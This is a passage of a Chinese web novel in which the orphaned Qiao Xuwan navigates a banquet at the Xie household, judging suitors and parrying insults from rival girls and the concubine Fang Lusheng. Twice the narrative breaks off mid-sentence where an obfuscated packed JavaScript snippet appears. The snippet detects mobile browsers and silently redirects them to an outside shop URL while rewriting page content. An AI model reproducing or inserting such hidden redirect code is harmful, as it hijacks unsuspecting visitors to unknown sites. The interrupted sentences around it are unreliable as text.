——回应他的不是一句甜甜软软的“阿兄”,而是乔絮晚落在他鼻梁上的一拳头。 等大人们闻声赶来的时候,他们两个已扭作一团在草地上掐得不可开交,干净昂贵的衣服上沾满草屑泥土。 事后谢骅涧流着鼻血被他娘亲,也就是乔絮晚小姨摁着脑袋跟乔絮晚道了歉,两人再不情不愿地握过手,就此结下梁子。 乔絮晚做丹青,谢骅涧将别的颜色挨个点进白颜料,再将混了色的笔尖挨个点回去。 谢骅涧踢蹴鞠,乔絮晚就将球固定在地面,让他一脚下去人仰马翻,拄拐半月。 如果不出意外,他们当会像这样一直打闹下去。 可惜世事无常。 慕芷兰去世了。 府里多了个方姨娘。 乔絮晚不再是当家主母疼爱的外甥女,是寄养在府上,无人在意的累赘。 辈分最高的李音不喜这外来的孩子,家中主君视她为无物,可作半个主母的姨娘更是对她百般刁难,主人家态度尚且如此,下人们只会变本加厉。 那个时候,只有谢骅涧还护着她。 夜色浓重之时,他抱着尚且年幼、低低啜泣的她,郑重道:“阿晚,别怕,阿兄在这里。再给阿兄一些时间,阿兄带你从这里出去。” 谢骅涧没有在哄骗她。 她卧在栖鸾院,听着下人说,大公子这一年格外勤奋刻苦,原本上学不怎么用心的他,第二年竟中了探花郎。 她又听说,谢骅涧不顾长辈反对,毅然去了皇城司那个颇为腌臜的地方,气得谢凌摔碎了一整套白釉茶具。 谢骅涧做了许多事,立了许多功,赏赐如流水送进谢府。然而他亲手送给她的那些东西,不是被李音和方鹭笙悉数收走,就是被手脚不干净的下人分割殆尽。 …… 谢骅涧很累,很压抑。 她看得出来。 他和她一样,想离开这里。 但也一样身不由己。 乔絮晚看着对面略显疲色却也依旧俊美倜傥的侧颜,那双勾人的桃花眼没了幼时的纯粹,多出几分厚重的沉郁,犹如翻涌着酿造多年的美酒。 她叹息一声,伸手搭上他的腕,轻轻握住,道:“阿兄,可以了。” 谢骅涧不语。 “我也确实……该嫁人了。” “起码再等两年。”谢骅涧道,“两年后,看看江陵柏家那边有无动静。” 乔絮晚道:“要是他们来信说要娶我呢?” “……” 谢骅涧没说什么,只是拍拍她的手,起身出了房间。 那背影依稀透着寥落与孤寂,连温暖明媚的春日都晒不掉。 装满首饰珠翠的檀木盒还在桌上,乔絮晚另一只手覆上被他拍过的手背,那里还残留些许未散的暖意。 ——谢骅涧要带她出去,怎么可能呢。 他逃不开这谢府,也逃不开京城,他又能带她去哪。 5. 宴席 游廊里脚步声密集如鼓点,却又整齐划一,间或夹杂几句妇人的催促喝斥。 “快点快点!”“手端稳喽莫要将汤汁儿洒出来!”“前厅有小公子打翻了茶杯银箸,周侍郎家的三姨娘问要方帕和新的杯箸!” 统一着装的妙龄侍女一队一队地在前厅后堂进出,动作麻利而不显凌乱。 升迁旨意刚下达没多久,谢府的烧尾宴便风风火火地办了起来。 从正门的灯笼彩绸,到后厨的时蔬生肉,账目一连记了几大本,就连地砖缝隙都被擦拭得干干净净不留丝毫尘土。阖府上下几乎没有闲着的人,个个忙得脚不沾地。 到了正式开宴这天,中门大敞,迎接四方来宾,来往尽是京城内有名有姓的高官富商,以及各家亲眷。 此时,宴席间人声鼎沸。 ——喀。 清脆的碰杯声穿透混着菜肴芬芳与热气的喧嚣,经一路磨损,遥遥传入耳中。 乔絮晚微微移眸望去,见一个蓄着山羊胡、年近不惑的瘦高男人端着酒杯站在谢凌跟前,正满面笑容地说些什么。 参宴之前,她特地从谢骅涧手里讨要了一份宾客画像,将面容名字挨个记进了脑子里,而这个男人,她自然印象深刻—— 太常寺卿,席淮游。 至于他找谢凌的目的…… 乔絮晚略一沉思,继而看向堂内另一个热热闹闹的中心。 相隔一条铺盖红毯的宽敞通道,对面那张最大的圆桌上佳肴堆叠,酒壶倾倒,周边围坐着一群锦衣华服的世家公子。 划拳行令,谈笑风生,甚是潇洒恣肆。 而主位上那玉面长身的少年,便是谢骅涧。 他今日换了身苍葭色长衫,衣料轻薄,腰间一条玉带贴合束着,将身姿描摹得更为清隽干练。潋滟的桃花眼微染醉意,眸光流转间,更是风情无数,缱绻万分,好似埋藏了清晨方露头的春光。 即使在一众相貌出色的年轻郎君中,也似明珠般熠熠生辉,耀眼得过分。 视线在他身上停留片刻,乔絮晚挪开眼,观察离他位置最近的几人。 ——右手侧那个低头耷脑的绿衣公子,差不离就是席淮游顶着张老脸找谢凌应酬所为之人。 席家次子,席霖之。 他曾跟谢骅涧同在南华书院读书,算是关系要好的同窗故交,再过不久就要参加今年科考。 据说成绩不错,金榜题名不成问题,所以席淮游今日来这一遭,大抵也是为了给他日后官职参谋参谋。 倒也不怪他在宴席上还愁眉苦脸。 谁让他前几年贪玩,四处游历,耽误了考试,结果昔年同窗如今高升,他犹在备战殿试。 怕是收到请帖以来在家里没少被自家父亲大哥揪着耳朵教训。 ——左手侧那个坐姿随性的水蓝衣袍公子,乔絮晚则更不陌生。 那是与谢家交好的裴家之大公子,御史大夫裴冽的长子,朝议郎裴澈。 容貌同样俊秀出挑,身形略宽阔健硕,而且情史极为丰富,还是京城内最有名的青楼红袖招的常客。 他今日是携了自己亲妹妹裴涟一同来的,看两人进门时说说笑笑的样子,应当兄妹感情甚笃。 谢骅涧没有称得上感情非常亲密的友人,这两个已经可以说是值得信任的老友。 乔絮晚端起茶盏,以宽袖掩着饮茶,眼神在对面闲聊的三人间游移一阵,继续看向旁侧。 张家三公子张仲,年二十三,光禄寺丞,知礼懂法,温润和善。 林家二公子林裳甫,年二十一,国子监司业,学识渊博,通晓古今。 叶家二公子叶明,年二十,卫尉寺少卿,正直严苛,肃穆端方。 …… 该说不说,谢骅涧的交际圈还是蛮广博的,且质量也很是上乘。 而围在他身边的这一圈,差不多也就是李音和谢凌挑出来的结亲人选了。 另有一些座位离谢骅涧较远的子弟,许是和谢家关系没那么近,这厢客套客套发个请帖,让他们来吃个席交个份子钱,也不必多加关注。 乔絮晚将杯子放回桌上,轻轻转了两圈,表情若有所思。 “姑娘胃口不好?” 一道活泼的女音在耳畔响起。 乔絮晚回过神,笑着对那人说道:“没有,只是有些饱了,想缓缓而已。” 与她说话的那女子看着不过十六七,面容俏丽,又有几许稚气,长发梳成柔婉的百合髻,头戴点翠腊梅纹银钗,鬓边金步摇流苏略微摇晃,仅外表就能看出是个千娇百宠又不谙世事的高门贵女。 礼部侍郎付霈的小女儿,付卿卿。 宴席座位都是提前排好的,本来以乔絮晚的身份,不可能跟付卿卿坐在一处。奈何付卿卿前几日刚跟邻座的闺秀闹过矛盾,不愿与之同桌用饭,一气之下走出去老远,又见乔絮晚这处僻静人少,正好有空座,便于此坐了。 乔絮晚提前看过画像,自是知晓这位装扮华贵的姑娘是谁,然而她平时深居简出,来历又尴尬,是以付卿卿并不认得她。周围人也不好上前提醒,便偷偷地看热闹。 一脸天真单纯的付卿卿听她这么说,不禁讶异道:“可我方才分明没见你吃多少!” 乔絮晚面色如常:“兴许是我吃饭比较慢,付姑娘没注意到。你看,碗已经半空啦。” 她将饭碗稍稍倾斜。 付卿卿张望一眼,将信将疑道:“还真是……不过就算如此,你这胃口也着实小了点。” 她打量着乔絮晚高挑却没几两肉的身板,蹙起眉:“你平日里都吃得这么少吗?” 乔絮晚默然一瞬。 自慕芷兰不在后,她日常吃的饭菜确实有些许贫瘠。 除却重大年节日以及类似那天谢骅涧回府报喜的特殊日子,她能蹭着一起吃点丰盛菜肴,其他时候都是在自己院子里随便做些吃的。 院子得的份例少,菜色自然也不会有多好,有时表面浮着一层油光,实际扒拉到底都难见荤腥。 乔絮晚想了想,对付卿卿道:“我天生身子弱,吃多了易积食,所以吃饭只吃五分饱就够了。” 说罢,她配上一个腼腆羞涩的笑。 这个笑,既是扮给付卿卿看的,也是给对面正望着她的一干世家子弟看的。 裴澈眯了眯眼,偏头问谢骅涧:“付小姐邻座那姑娘是谁?” 谢骅涧一抬眸,道:“我表妹。” “哦……江陵来的那个吧?以前都未曾见过。这容貌,啧啧,谅是我看遍京城百花也未见得如此颜色,独一人便成一景,说是神仙妃子也不为过,美哉美矣!” 裴澈赞叹不绝。 谢骅涧靠着椅背,朝他斜去一眼。 接收到这颇带点威胁意味的目光后,裴澈立马赔笑:“别紧张啊谢大指挥,我这人虽说风流了点,但又不是没脑子,你的妹妹,我绝对连根头发丝都不会动!”他指天发誓。 谢骅涧倒也没说什么,只悠悠喝了口酒。 一旁的林裳甫看着那与人谈笑的素衣少女,也忍不住好奇道:“谢兄,你家去年那场及笄礼,就是为这位表姑娘办的吧?既已及笄,相貌又这般的好,有没有定下亲事?” 外男当众探讨未出阁女子的亲事不大妥当,然他目光闪烁,显然藏了念头。 “……” 谢骅涧沉默少顷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561487|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡淡道:“有。” “啊?”身旁几人皆是一愣,随后互相看了看,由林裳甫发问道:“和谁啊?” 近一年从未听说谢家跟谁商量过女眷亲事。 谢骅涧一指在桌上有一下没一下地敲着,半日才道:“不知。幼时在江陵定的亲,我妹妹那阵还不晓事,姨丈也没说过对方是谁。” 一时无人言语。 谢骅涧这位表妹的出身,旁人或许没怎么在意过,但他们这些走得近的人家总归明了几分。 母亲慕芷汀乃两朝元老慕见山的庶女,虽是偏房所生,却也不无疼爱,然她竟像失心疯一般,在大好年华嫁给了一个从江南来的白身富商乔知蕴,和慕家断了关系,没在京城待多久就随对方回了江陵,最后留下一个女儿,早早病逝。 她的死既是因体弱,也与当时丈夫生意没落,无力支撑高昂的药钱有关。 都说商人重利轻别离,乔知蕴甚至没替她守丧,草草办过葬礼后便送走了女儿,出海行商。 要说他还有哪里像个人,那就是没直接将乔絮晚送到根本不可能认她的慕家,而是送到了她母亲的妹妹慕芷兰家里。 慕芷兰为慕家主母嫡出的女儿,性情温柔敦厚,与慕芷汀自小一起长大,感情极好,是以对乔絮晚也很是关照。 可惜也没了。 现在乔絮晚在谢府里不上不下的,亲事还模棱两可,日子怕是不好过…… 看着表情各异的友人,裴澈脑袋转了几个弯,笑道:“江陵啊,那可是个好地方,往年上交税赋最多的就是那里,今年又运了不少绫罗丝绸进宫,端得是个富庶之地,妹妹若是能回去成亲,倒也不失为一件好事。” 林裳甫却道:“可她眼下父母都不在身边,江陵也没来个信,对方别是忘了吧?女儿家的年华最是耽误不得,谢兄,你祖母没说什么吗?” 他不死心。 谢骅涧静了静,道:“说了,她说过两年若江陵还没消息,就在京城内为阿……我妹妹寻个夫家。”略微停顿,他直视着众人补充:“而且这个夫家,须得是能许给我妹妹正妻之位的才行。” “……” 众人脸色微变。 以乔絮晚的来历,根本不可能给世家做正妻。 除非是嫁与极不受宠、只能拿婚事为家族谋利的庶子。 但如果谢家要正妻之位这般态度,又根本不可能将她许给这样的庶子。 诸般眼神在谢骅涧脸上扫过一遍,见他确无玩笑之意,方才暗自想着纳乔絮晚为偏房的一些人也纷纷熄了心思。 可惜了。 本来这样的相貌和出身,是最适合收进屋里当个玩意的。 桌上忽地静默下来,只余吃饭喝酒之声,恰逢此时,上首的席淮游也奉承完谢凌,端着酒杯走回饭桌。 席霖之下意识望过去,却被正巧盯着他的席淮游狠狠剜了一眼。 那一眼好似在说:多大的人了还要你老子我操心!看看你旁边那个,都快能自立门户了!丢人现眼! “……” 嘴里美食突然味同嚼蜡。 席霖之受不了这个委屈,窝窝囊囊地站起来,对一桌同伴抱拳道:“我吃酒吃多了,有点胸闷,想出去透透风,各位且用着。” 众人理解不理解地皆摆摆手:“去吧去吧,等回来我们继续行酒令!” 席霖之便一派愁云惨淡地走了。 当下宴席进行到一半,天边隐隐约约显出点黄昏,已有些许人告辞离席,或到外头大院里游戏,是以谢骅涧一开始没怎么在意席霖之的离去。 直到他看见乔絮晚也站了起来,走出大门,拐向和席霖之相同的方向。 6. 指责 “那边那个,就是当初慕家庶女从江陵送回来的孩子?” 大堂边缘横摆有一张金丝楠木罗汉榻,榻上两侧各坐着一名妇人,右侧为谢府当今的老祖宗李音,左侧问出这句话的,便是定远侯府的侯老夫人,戚鸣。 两人原本正含笑瞧着下首小辈们的热闹,从付卿卿坐到乔絮晚身侧的那一刻起,戚鸣就注意到了那衣着朴素却难掩绝艳资质的少女。 她虽上了岁数,但记性还好得很,回顾一圈年轻一辈里小姑娘的容貌,凭直觉做出了猜测。 李音顺着她所示方向看去,略有些不悦道:“是啊,名叫乔絮晚,十年前被她爹派人送过来的。” 戚鸣呷了口茶,道:“长相倒是不错,就是好过头了点,不妥当。” “和她那不安分的娘一个样。”对于下嫁给一介商贾的慕芷汀,李音从来没什么好态度,“脾性乖张难驯,没等说她两句就开始顶嘴,也就是平日里不怎么出门,不然就这个相貌这个脾气,真不知道要闹出什么乱子来。” 戚鸣笑道:“你看不惯,就让她嫁出去。她不过仗着自己在外戚家,没什么人管教,所以才这般野性,等她去了夫家便能慢慢学会规矩。” 李音叹了一声:“唉,我倒也想,可她……我们毕竟不方便擅自给她说亲,这次让她参加这烧尾宴,也是盼着她能看上个好夫婿,哪怕父母俱不在身边,只要她是真心喜欢,这嫁妆钱我们也就替她出了,总比日后成了没人要的老姑娘强些。” 乔絮晚与柏家定过娃娃亲这码事刚到嘴边,就转了个弯,又被李音咽了下去。 那没影儿的事先搁置着,马上把她嫁出去才是当务之急。 戚鸣听她这话,点了点头,道:“有理。可这说来也好笑,能替她做主婚事的家中长辈明明就在这京城里,却反倒要让你们来头疼,真是……” 她微微一哂,歪靠着茶几,垂首品茗。 李音一时静默。 戚鸣说的“家中长辈”是谁,她心里明镜儿似的清楚。 ——京城五大世家之一,慕家。 慕家老爷子乃当今的左相,两朝元老慕见山。 按辈分,乔絮晚该称呼一声外公。 而她的外婆,慕见山的妻子,即是戚鸣亲妹妹,戚泠。 李音一想到他们就头疼。 世家亲缘息息相关,利益相连,当初谢家的谢凌和慕家的慕芷兰都是嫡出的子女,门当户对,男才女貌,八字相合,两家人就一拍手让他们成了亲。 起初二人感情还算和睦,诞下了儿子谢骅涧,可谢凌终不是个长久之人,在外被方氏勾了魂,纳进了家门。 那方氏心眼极多且手段下作,硬生生将身体本就不好的慕芷兰气到病逝,明面上却又揪不出错处,导致两家因此结了仇,直到现在也没能修复关系,甚至谢凌时不时就会在朝堂上被慕见山参上几本,怒喷一顿。 这也是为什么慕芷兰撒手人寰后,谢府没将乔絮晚送去慕家。 先祸害死了人家女儿,后又送个堪称家族之耻的外孙女过去,这和存心找骂有什么区别? 李音越想这些,越是眉头紧皱,最后环视喧闹的大堂,无可奈何道:“慕家那帮人也是,好歹是自家外孙的烧尾宴,不说叫几个年轻的来捧场,就连送礼的都没有,着实不给面子了些。欸对了,沁雪今儿个怎么没来?” 谢沁雪,她亲女儿,谢凌的长姐。 戚鸣正想回话,却见自家的小孙女令翩然忽然走到乔絮晚那一桌前,跟她和付卿卿聊了些什么。而后乔絮晚站起来福了福身,平静地离开大堂。 她遥望那背影,纤腰款摆,姿态袅娜,通体素衣简妆却另有一番清雅韵味。 简直是个妖精。 再转眸,对面那些个或独身或成家的公子哥亦是瞄得专注。 戚鸣微眯起眼,手捏杯盖在茶杯边沿处轻轻搁着,少顷,道:“沁雪今日去慕家陪戚泠赏花了。” 李音闻言,暗自瞥了一眼戚鸣,道:“戚泠对沁雪,倒仍是极好。” 戚鸣放下茶盏,“终归同样是外嫁出去的女儿,有芷兰的事在先,且又有我这层关系在,戚泠自不会冷待了她,上次我见时,两人还亲亲热热地说着家常话,关系热乎得很。” “……” 听她提起慕芷兰,李音略有些不自在。 幸而戚鸣很快又道:“等哪天你们这边有空闲了,我让沁雪也回来看看,顺便,问候问候芷汀的孩子,说不定托着这张脸面,能让慕家人肯见一见她。” 李音颇为意外地看过去。 只见戚鸣微笑着:“终归是个姑娘,成日晃悠在外戚家又没个着落像什么样子,哪怕慕家再不喜,有些事也得由他们出头来做这个主不是?何况……” 她扫一眼在人堆里显得鹤立鸡群的谢骅涧,笑意更大,“你这孙儿再过两年就要及冠,也是时候提前探探亲事,若总跟这样一个未出阁的女儿厮混在一处,传出去,于他们两个的名声都不好听啊。” 隔着一张茶几,她与李音对望着。 视线交错几许,李音也扬起笑来:“戚鸣啊,你惯来是个细腻周全的,一下就能看出我的难处不说,还愿出面帮我,我可实在不知该如何谢你。” 戚鸣轻笑两声,让人端了两盅酒来,与她碰了一碰,“你我都认识多少年了,何必如此生分?说到底都是为了自个儿家孩子好,几句话的事情而已,客气什么。” 李音但笑不语,以袖掩口,饮下杯中佳酿。 * 周遭聊得正欢,乔絮晚在脑中一遍遍过着宾客相貌与身世背景,握着的竹著不觉拨弄起碗里晶莹饱满的白米粒。 “乔姑娘,我觉得你有心事。” 蓦地,旁边付卿卿又开口道。 乔絮晚愣了愣,从思绪中脱身,笑着问:“为何这么说?” “唔……你看起来总像在想些什么,眉毛也皱着,不太开心的样子。”付卿卿望着她的脸,关心道:“莫不是遇到什么困难了?你可与我说说看,指不定我能帮上忙。” 她的语气与神态皆真心实意,令乔絮晚不由得心中一暖。 她道:“其实也没什……” “卿卿?你怎么坐在这儿?” 一声疑问打断了未说完的话。 乔絮晚面容微僵。 这个声音,她并不陌生。 几个月前过新年她才刚听到过。 她压制住心中不虞,淡淡看向声源处。 只见一粉裙少女迈步走到她们桌前,眼角粗略扫过她,随后对付卿卿道:“我说怎么在前头见不到你,还以为你今日没来呢,结果是在后面坐着。谢家这排布座位的人也是,居然让你坐到这么偏的位置,等宴席结束后我必要在李祖母面前告上一状!” 她昂着下巴,神色甚是愤愤不平。 见她仿佛真要如此做,付卿卿立马站起来握住她双手,笑道:“不必啦翩然,是我自己跑来这里坐的,不是下人的错。” ——这浑身上下戴满华贵首饰的女子便是令翩然。 戚鸣的小孙女,定远侯府二千金。 因着伯母谢沁雪是李音之女,她自己又闲不住,平日偶尔会来谢府串门,有时路过乔絮晚住的栖鸾院,也不免出言讥讽两三句,或者动动手指,稍作戏耍,让她困窘难堪。 是个极傲慢的人。 乔絮晚抿了口茶,静等她发作。 果不其然,令翩然没准备放过她,但也没一开始就从她身上下手,而是先对付卿卿说道: “卿卿,你为何要在这里坐?这里又偏又暗,周围还都是婆子丫鬟,连个能说上话的人都没有。难得打扮这么漂亮,要是一直坐在这,心仪的公子可就被别人勾去眼睛啦!” 付卿卿脸一红,连忙去捂她的嘴:“令丫头又在说浑话!什么心仪的公子,我才没有!我看你是吃酒吃多了,到我这发酒疯来了!” 令翩然嬉笑着躲开她的手。 “再则哪里就没有能说上话的人了?我跟乔姑娘可是正聊到兴头上呢!”付卿卿鼓着脸,接着辩解。 令翩然动作一顿。 像是才注意到她身边还有个人似的,她慢悠悠将眼移过去,道:“乔姑娘?” “是啊,”付卿卿兴冲冲地抱住乔絮晚的臂,向令翩然介绍:“这是我才认识的乔姑娘,是不是很好看?自打我出生到现在,还从未见过这般标致的人儿呢!” 闻言,令翩然笑容淡了些。她上下端详了会安静的乔絮晚,意味不明道:“确实,好看呢——” 付卿卿眼睛一亮,正欲趁机拉近三人的关系,却听令翩然又说:“只可惜长在了她身上。” “……” 付卿卿霎时僵住。 乔絮晚抬眸,与令翩然对视一眼,旋即清清淡淡地移开了目光。 察觉气氛不对,付卿卿略显无措,生硬地笑道:“翩然,你这话是……什么意思啊?” 令翩然诧异地掩住下唇,“卿卿,你居然不知道她来历吗?我还以为她会告诉你呢。” “来历?”付卿卿更为迷惑,瞅了瞅乔絮晚,又瞅了瞅令翩然,懵懂道:“我方才只问了乔姑娘的姓氏,并未问及来历,难道有何隐情吗?” “——呵。”令翩然怡然走了几步,靠近乔絮晚,“隐情算不上,大概是……她自己也觉得说不出口吧?” 唉。 乔絮晚默默低叹一声。 以令翩然的脑子,这番话大抵不是想搬弄是非,而是单纯以为她会为出身而羞愧,所以没告诉付卿卿。 可纵使她明白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561488|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己背景不好,也没觉得有何可羞惭的,付卿卿若是问了,她便会直说,但付卿卿没问,她总不至于上赶着报族谱。 辩解也没什么意义,她索性转向付卿卿,直白道: “我的来历实则也无甚可说道的,但既然令小侯女觉得这样是在欺瞒,那我还是说明一下好了,我是谢府主君先夫人慕芷兰的外甥女,乔絮晚,因母亲病故,父亲行商,家中空寂无人,就将我送到了谢府暂住。我生身父母皆有名有姓,纵然比不得王侯将相天潢贵胄,但也是记录于户籍的正经人,没什么可说不出口的。” 她语气强硬至极,分毫不落下风。 “……” 令翩然娇美的脸蛋一阵青红交错,付卿卿同样表情讶异,张着嘴巴,却一个字也说不出来。 乔絮晚又道:“我自知倚人篱壁,身份低微,是以处处谨慎小心,生怕冲撞了贵人。今日有幸与付小姐萍水相逢,甚至还因这中庸的皮囊虚承小姐几句赞许,阿晚已十分满足,出身一事,虽非有意隐瞒,但也在这里给付小姐道个歉。” 她敛着湿润的睫羽,对付卿卿略微垂首。 付卿卿反应过来,连忙去扶她纤薄瘦弱的肩膀,道:“不、不必如此!出身罢了,有何值得歉疚的?况且我又不会因为这等小事就责怪你——翩然,说点什么啊!都是你,干嘛要说那种话!她家中有事,被迫寄住在这里又不是她的错,你怎能那样出言讽刺!” 令翩然不可思议地瞪着她。 她明明是想说乔絮晚是从乡下来打秋风还赖着不肯走的穷亲戚寄生虫!怎么就被曲解成这样了?! 她努力运转她那不大好用的脑子,回忆刚才的对话。 好像也没有哪里出错,可就是意思不太对。 可究竟哪里不对,她又说不上来。 乔絮晚觑着令翩然自我怀疑的模样,没留给她太多思考时间,直接摆出强忍心酸的柔弱姿态对付卿卿道: “付小姐,我孤身在外十年,说句不谦虚的,人情冷暖早就看了个遍,您是为数不多没有因出身对我抱有偏见的贵人,阿晚……感激不尽。但你我身份终究云泥之差,与我走得太近并非好事,也请付小姐莫要因我与令小侯女产生嫌隙,不然阿晚就是万死也难辞其咎。” 她哽咽一声。 付卿卿吓了一跳:“不至于不至于!我跟翩然也不是第一次吵架了,这次也确实是她的错,你又何必将罪责都揽到自己身上?唉,难怪自相见以来,你一直愁眉不展的,你这样谦卑隐忍的性子,最是容易受欺负!” 闻言,乔絮晚眼眸蒙着一层泪,好似遇到知己般深深凝望她。 这娇弱怜怯的姿容配上清纯的装扮,几乎能让人心化成一滩水。 即便是同为女子的付卿卿,也忍不住怜惜地替她抹去眼角泪光,安抚道:“你不必怕,外人不过欺你孤苦无依,又无显赫家世,我向你保证,以后有我在,就绝不会让任何人欺负你!” 乔絮晚点点头,呜咽着“嗯”了一声,垂下眼帘遮住眼中暗色。 像付卿卿这样的姑娘,出身书香门第礼仪之家,虽娇生惯养,但秉性又天真单纯,一般来说多少都会有点清高正直的个性。 清高在于不因地位身份歧视他人,又或者心中歧视,明面上也要装得豁达包容。 正直在于看不惯恃强凌弱,热衷于帮助弱小,替人出头。 更重要的是,付卿卿是家中独女,没怎么见过妾室庶女悲情做戏,所以在某些方面来说,很好糊弄。 她只需先向付卿卿证明自己的气节,同时避重就轻道明身世,而后主动示弱,讲清处境,最后再装模作样地掉几滴眼泪,彰显自己的善良体贴。 看付卿卿这反应,她应当是笼络得很成功。 侧眸看着令翩舟气到涨红的脸色,她怕是琢磨过味了,打算开口说点什么。 正巧对面席位上的席霖之走了出去,乔絮晚心念电转,当机立断地站起身,道:“付小姐,我感觉有些胸闷难受,想独自出去转转,您与令小侯女且聊着,阿晚先行一步。” 她微微欠身。 她不在这,那令翩舟不管说什么都可以当作是在背后编排,若是她当着面,那还得想办法应对。 尽管难度不大,但怪麻烦的。 付卿卿拉住她的手,关切道:“我陪你一道吧。” 乔絮晚笑着摇摇头,再次蓄了点泪水在眼眶中,道:“付小姐不必挂怀,我只是想散散心,很快就会回来。” 见她神色坚定,付卿卿只得放了她离开。 看着那抹远去的纤细背影,付卿卿回头指责令翩然道:“令翩然你怎能如此仗势欺人?你还要不要点脸面!” 令翩然险些被她噎死。 半晌,她道:“付卿卿你有病吧……” 7. 引诱 耳畔犹能听到些许来自背后的争执声,乔絮晚只管往门口走,顺便回忆了下席霖之适才拐弯的方向。 应当是朝左边的花园去了。 想想他爹在谢凌跟前殷勤逢迎的笑,他这会子估计也是心情不好,打算出去转一转。 乔絮晚边走边在心里打着盘算。 大堂右侧为男宾席位,左侧为女宾席位,中间相隔一条七八米宽的过道,她就这么踏上去,难免吸引到一众目光。 惊艳,嫌恶,探究,甚至下流粘腻的。 乔絮晚早已习惯,保持不疾不徐的步伐坦然走着。 “那是哪家的姑娘?”有女宾悄声问。 “不晓得,我看她那桌周围好像都是谢家外戚,打扮也朴素,许是从旁支家里来的。” “不出名的小门小户吧,这般容貌,但凡家中有点作为,我们也不至于没听说过。” “可我方才好像听她说……是什么暂住的外甥女?” “外甥女?谁的?” ——“是大娘子姐姐慕芷汀的女儿,乔絮晚。” 前排桌子忽而传来柔媚女音,替她们解了惑。 一干女眷闻声望去,却见一艳丽少妇正抱着孩子,精巧的瓜子脸对她们掬着笑。笑颜自是美的,只是有些过于甜腻,依稀透出几分精明和虚假。 她微蹙着眉,继续道:“这孩子也是命苦,慕姐姐早早去了,家中无主母教导,便送到了这里,至今住了也有小十年了。” 女眷们心照不宣地对望几眼,笑着回道:“原来是慕夫人的外甥女,难怪长相如此俊俏!想必方娘子平日待她也是极上心的,才能让人出落成这副模样。” 方鹭笙怀里搂着两岁的女儿谢婉儿,仪态优柔道:“上心不敢当,只是尽我微薄的本分罢了,毕竟……她来之后没几年,大娘子便也仙去,留这孩子一人孤苦无依。我虽为主君的妾,但在府中勉强也能说上几句话,便替大娘子照料着了。” 众人只笑,连声称赞她心善又贤淑,然内里却心思各异。 这方鹭笙嘴上说着照料,可单看乔絮晚那身简朴至极的衣着妆扮以及瘦弱的身段,便知在谢府过的什么日子。 况且说是她进来没几年慕芷兰便驾鹤西去,实则方鹭笙比她来得更晚,其中弯弯绕绕诸多关窍这些嫁为人妇多年的女眷心里怎么可能不清楚。 但她们也不会驳了方鹭笙的面子。 诚然她只是个妾,却也是谢凌如今唯一的妾,又无正妻在上压头,她在这谢府里的地位几乎可堪半个主母。 落魄门户出身,能做到如此地步,这狐媚子当真有点手段。 正往来客套之时,有与慕家交好、看不惯方鹭笙做派的妇人故意道:“乔家这孩子虽说是外戚来的,但一个未出阁的姑娘,一直没有能担事的大家主母教导总归不好,要我说,谢尚书也是时候考虑下续弦之事了,家中久无正妻坐镇,仅一个偏房当家,成何体统?” “……” 空气陡然寂静。 各路视线胡乱打转,大多带着看热闹的意味投在方鹭笙身上。 方鹭笙笑容僵了僵,眼珠微转,随即垂了眉眼,状似无比忧愁道: “续弦一事,其实我也与官人提过多次,但官人与大娘子伉俪情深多年,委实不忍让旁人顶了她的正妻之位。何况大娘子出身高贵,想来九泉之下,也不会愿意看到别人随便取代自己……便就拖到了现在。” 那妇人表情一变。 她倒是长了张巧嘴。 谢凌久未续弦,分明是因慕芷兰病死导致谢家与慕家交恶,慕家作为京城五大世家之一,又有当朝左相慕见山在,势力极大,谁将女儿嫁给谢凌,那就是表明了要站在慕家对立面。 再者就算有小门第想攀附关系,光是身份就不可能给谢凌当正妻,塞个偏房进去,怕是又没几天就会断送在方鹭笙手里。 谁敢嫁?谁能嫁? 可经方鹭笙这么一颠倒,竟将事理变成了谢凌敬爱亡妻不愿续弦。 一套说辞下来,谁要是再提议此事,反倒成了不尊重已故的慕芷兰。 既灭了旁人想撺掇谢凌再娶的念头,又摆足了贤惠懂事不争宠且敬重慕芷兰的姿态。 真真儿令人心里添堵。 妇人静了静,重振旗鼓道:“谢尚书有这样一份为芷兰考虑的心是好事,可芷兰已经走了四五年了,逝者已逝,活人总得继续把日子过下去,哪有高门世家主母位置一直悬空的道理?还有,若不是来了这场烧尾宴,我倒差点忘了,骅涧再过两年可是也到了该议亲的年纪,家中嫡子的亲事难不成要让一介庶母主张?呵,简直是笑话!” 众人关注的焦点又从她回到方鹭笙。 方鹭笙就像没听到她的羞辱一般,悠然呷了口茶,道:“付夫人说得在理,可这些话说与我听,又有何用呢?正如您所言,我不过一个偏房,又有什么资格替官人拿主意?白费您的口舌与心意罢了,不妨您直接把这些当面讲给官人,兴许,官人还会记进心里。” 她挑衅地瞥去一眼。 “你——!” 妇人羞恼不已,当即拍桌而起,却被周围人死死拉住。 旁的女伴相劝道:“好啦纪窈,争这口气做什么?总归是别人家的事儿,咱也管不着。”随即又放低了声音提醒:“万一这小蹄子跟谢尚书吹些枕边风,你家二郎前途还要不要了?” 纪窈喘了几口粗气,忿忿坐了回去。 记进心里,怕不是记恨进心里! 方鹭笙是谢凌眼前的红人,谢凌又最不喜听别人提起亡故的慕芷兰,她要真去说了,谢凌指不定要给她儿子下什么绊子。 众人安慰一番,暂时将这场冲突翻了篇。 